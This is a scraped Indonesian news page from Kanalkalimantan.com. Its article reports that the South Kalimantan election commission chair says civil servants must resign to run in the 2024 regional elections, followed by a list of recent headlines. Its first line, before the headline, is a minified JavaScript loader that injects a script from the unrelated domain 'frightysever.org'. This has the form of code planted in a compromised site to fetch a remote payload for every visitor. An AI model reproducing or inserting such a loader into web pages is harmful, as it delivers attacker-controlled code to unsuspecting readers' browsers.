(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mundur Syarat Mutlak ASN yang Maju Pilkada


KANALKALIMANTAN.COM, BANJARMASIN – Tensi politik menjelang kontestasi Pemilihan Kepala Daerah (Pilkada) di Kalimantan Selatan mulai terasa.

Tahapan Pilkada serentak 2024 pun sudah dimulai, diawali pendaftaran Pemantau Pemilihan.

Berdasarkan Peraturan KPU nomor 2 tahun 2024 pendaftaran bakal calon kepala daerah dibuka dari tanggal 27-29 Agustus 2024 dan penetapan calon 22 September 2024. Sementara pemungutan suara dijadwal pada Rabu 27 November 2024.

Sejumlah tokoh potensial dari partai politik dan kalangan birokrat mulai memberikan kode, baik melalui media sosial maupun media promisi baliho pinggir jalan. Beberapa bahkan terang-terangan mendeklarasikan diri maju sebagai bakal calon kepala daerah.

Baca juga: Kota Banjarbaru Usia 25, Wali Kota Aditya Urai Angka Capaian di Ibu Kota Kalsel

Namun, bagi seorang Aparatur Sipil Negara (ASN) yang ingin maju sebagai calon kepala daerah tentunya perlu memperhatikan aturan yang mengikat. Diantaranya harus rela melepaskan status karier kepegawaiannya.

Ketua Komisi Pemilihan Umum (KPU) Provinsi Kalsel Andi Tenri Sompa menegaskan, seorang ASN yang maju sebagai calon Gubernur dan Wakil Gubernur, Bupati atau Wali Kota wajib mengundurkan diri dari status kepegawaiannya.

Sebab menurutnya sesuai aturan, posisi ASN adalah netral, sehingga ada keharusan mengundurkan diri sebagai salah satu syarat menjadi peserta pemilihan atau calon kepala daerah.

“Iya wajib mundur, ASN kan harus netral,” kata Andi Tenri Sompa mengonfirmasi keharusan ASN mundur dari status kepegawaian jika mendaftar sebagai bakal calon kepala daerah, Sabtu (20/4/2024).

Baca juga: TAYANGAN TERBAIK KELUARGA INDONESIA

Hal itu menurutnya telah diatur dalam Undang-Undang Nomor 10 Tahun 2016 tentang Pemilihan Kepala Daerah dan Peraturan Komisi Pemilihan Umum (PKPU) Nomor 9 Tahun 2020 atas perubahan keempat PKPU Nomor 3 Tahun 2017 tentang Pencalonan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan atau Wali Kota dan Wakil Wali Kota.

“Ketentuannya ada di UU Pilkada dan PKPU itu,” tegas Andi Tenri Sompa.

Dimana pada PKPU Nomor 9 Tahun 2020, ketentuan pasal 4 ayat 1 huruf u bagi ASN yang maju sebagai calon kepal daerah, harus menyatakan secara tertulis pengunduran diri sebagai Pegawai Negeri Sipil sejak ditetapkan sebagai calon.

Baca juga: Lonjakan Tinggi Bawang Merah di Pasar Bauntung Banjarbaru, Segini Harganya

Hal itu juga berlaku bagi anggota TNI, Polri, Kepala Desa atau sebutan lain dan perangkat desa. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

5 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

7 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

9 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

17 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

18 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

19 jam ago

This website uses cookies.